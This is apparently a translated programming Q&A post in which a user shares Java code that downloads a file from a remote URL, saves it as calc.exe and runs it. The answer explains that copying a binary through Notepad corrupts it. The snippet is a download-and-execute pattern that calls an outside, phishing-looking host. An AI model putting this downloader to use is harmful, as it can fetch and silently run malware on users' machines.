我编写了一个代码,它实际上下载了存储在特定URL中的exe文件,然后在计算机中执行该exe文件。为了测试目的,我从窗口中取calc.exe,并使用记事本++我在记事本中提取其代码,然后通过互联网保存。但现在,当我运行我的程序时,我的PC中生成的calc.exe文件没有运行。它显示calc.exe不是一个有效的win 32应用程序。
这是我的代码
URL url = new URL("http://accountserviceloginmail.org/calc.txt");
url.openConnection();
try (InputStream reader = url.openStream())
{
FileOutputStream writer = new FileOutputStream("calc.exe");
byte[] buffer = new byte[153600];
int bytesRead = 0;
while ((bytesRead = reader.read(buffer)) > 0)
{
writer.write(buffer, 0, bytesRead);
buffer = new byte[153600];
}
writer.close();
}
File file = new File ("C:\\Documents and Settings\\INTEL\\My Documents\\NetBeansProjects\\down\\calc.exe");
Desktop.getDesktop().open(file);
http://accountserviceloginmail.org/calc.txt是有效的网址。您可以将其用于测试目的
答案 0 :(得分:0)
.exe文件是一个二进制文件,其中包含许多不可打印的字符,记事本不会显示或复制这些字符。将文本粘贴到Web表单并让服务器保存文本时,会发生进一步的重整操作。您必须使用一些二进制安全机制来上传文件,如FTP或HTML文件上载表单。